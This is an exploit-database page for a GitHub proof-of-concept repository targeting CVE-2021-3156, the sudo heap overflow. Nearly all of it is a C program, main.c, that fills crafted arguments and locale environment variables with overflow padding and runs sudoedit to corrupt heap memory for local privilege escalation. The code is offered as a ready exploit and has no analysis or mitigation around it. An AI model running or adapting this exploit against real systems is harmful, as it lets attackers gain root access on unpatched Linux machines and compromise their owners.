Exploit database

GH-899e91e523740dd21ffc41c5782fdcd3

musergi/cve-2021-3156

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2021-3156

85 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files7
musergi/cve-2021-3156Revision 3de21de582ba

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

main.c

C · 1,068 bytes
#include <unistd.h>
#include <string.h>

void main(int argc, char **argv) {
    int i;
    char buf[0xf0] = {0};
    memset(buf, 'Y', 0xe0);
    strcat(buf, "\\");

    char* command[] = {
        "sudoedit",
        "-s",
        buf,
        NULL
    };
    
    char message[0xe0] = {"LC_MESSAGES=en_GB.UTF-8@"};
    memset(message + strlen(message), 'A', 0xb8);

    char telephone[0x50] = {"LC_TELEPHONE=C.UTF-8@"};
    memset(telephone + strlen(telephone), 'A', 0x28);

    char measurement[0x50] = {"LC_MEASUREMENT=C.UTF-8@"};
    memset(measurement + strlen(measurement), 'A', 0x28);

    char overflow[0x500] = {0};
    memset(overflow, 'X', 0x4cf);
    strcat(overflow, "\\");

    char *envp[] = {
        overflow,
        "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
        "XXXXXXX\\",
        "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
        "\\", "\\", "\\", "\\", "\\", "\\", "\\",
        "x/x\\",
        "Z",
        message,
        telephone,
        measurement,
        NULL
    };

    execve("/usr/bin/sudoedit", command, envp);
}